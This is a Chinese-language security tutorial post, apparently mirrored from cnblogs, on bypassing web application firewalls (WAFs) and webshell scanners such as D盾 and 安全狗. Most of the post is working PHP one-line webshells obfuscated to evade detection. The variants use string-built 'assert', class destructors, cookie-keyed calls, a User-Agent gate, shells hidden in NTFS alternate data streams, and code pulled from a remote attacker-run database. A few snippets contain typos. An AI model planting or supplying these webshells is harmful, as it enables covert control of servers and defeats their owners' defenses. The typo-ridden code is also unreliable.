zoukankan      html  css  js  c++  java
  • 网络安全从入门到精通(第九章-6) Bypass

    本文内容:

    • WAF检测机制
    • 常见绕过手法

    1,WAF检测机制:

      常见的一句话木马:<?php @eval($_REQUEST['a'])?>

      WAF最直接的检测就是正则匹配,当遇到拦截时,就应该考虑它是怎么拦截的,匹配的是什么?

      将代码一点一点书写,看是那个部分被匹配,导致被拦截。

      如:拦截的是$_REQUEST[]那么传参就可以尝试一下不出现中括号行不行。

      更改成:

        <?php @eval (end($_REQUEST));?>

        使用一个函数end,代替[],end函数的意义:输出数据中的当前元素和最后一个元素的值,这里就一个,所有就是输入当前元素值,唯一缺点:无密码。

    2,常见绕过手法:

      1.通过常量定义:

        如:

         <?php define("a","$_REQUEST[a]");eval(a);?> 

      2.通过字符串拼接+双美元符号:

        如:  

          <?php
          $a='ass';
          $b=ert;
          $funcName=$a.$b;
          $x='funcName';
          $$x($_REQUEST['a']);
          ?>
          $assert($_REQUEST[1]); assert类似于eavl
          为什么要用assert,因为php中eval不能拼接执行(规定)

      3.通过函数定义强行分离:   

        如:

          <?php
          fuction a($a){
          return $a;}
          eval(a($_REQUEST)['a']); 强行分隔$_REQUEST['a']
          ?>

      4.通过类定义,然后传参强行分隔:  

        如:  

          <?php
          class User{
          public $name='';
          function __destruct(){
          eval("$this->name");
          }
          }
          $user=new User;
          $user->name=''.$_REQUEST['a'];
          ?>

      5.多方式传参免杀:

        如:   

          <?php
          $COOKIE=$_COOKIE;
          foreach($COOKIE as $key=>$value){
          if($key=='assert'){
          $key($_REQUEST['a']);
          }
          }
          ?>
          需要对cookie传参

      6.通过所有函数,二维数组调用免杀:

        如:  

          <?php
          $a=get_defined_functions();
          $a['internal'][841]($_REQUEST['a']);
          ?>
          通过二位数组,数组,键,值。

      7.绕D盾:

        如:

          <?php
          if($_SERVER['HTTP_USER_AGENT']==='1'){
          eval (end($_REQUEST));}?>
          需要抓包将USER_AGENT改为1

      8.得到shell,藏shell:NTFS文件流,寄存:

        如:  

          echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
          任意文件存放,访问即可
          <?php include('/:123.txt')?>
          藏shall,将获取的shall藏到[寄存]/文件里
          echo"<?php eval($_REQUEST['a']);?>">>/:123.txt
          dir也查询不到
          安全狗检测不出,D盾爆出可疑
          只有windows里可以用。

      9.终极大法:

        如:

          <?php
          eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from table_name'))['column_name']);
          ?>

        通过连接数据,执行数据库,查询info表里,info字段,只能查询一条数据,所以第一条数据要放一句话木马:<?php @eval($_REQUEST['a'])?>

        让服务器去连接读取我们放在公网的数据库的内容,可以使用香港云、虚拟主机等。

  • 相关阅读:
    选择筛选
    添加标签2 jquery 和JS
    最全的常用正则表达式大全
    Javascript和ECMAScript二三事
    display:none和visibility: hidden二三事
    说人话
    渐进增强和优雅降级
    css的优先级以及!important的使用
    解决VS如何同时打开两个工程(xp和win7)
    jQuery验证控件jquery.validate.js使用说明+中文API
  • 原文地址:https://www.cnblogs.com/xz25/p/12775425.html
Copyright © 2011-2022 走看看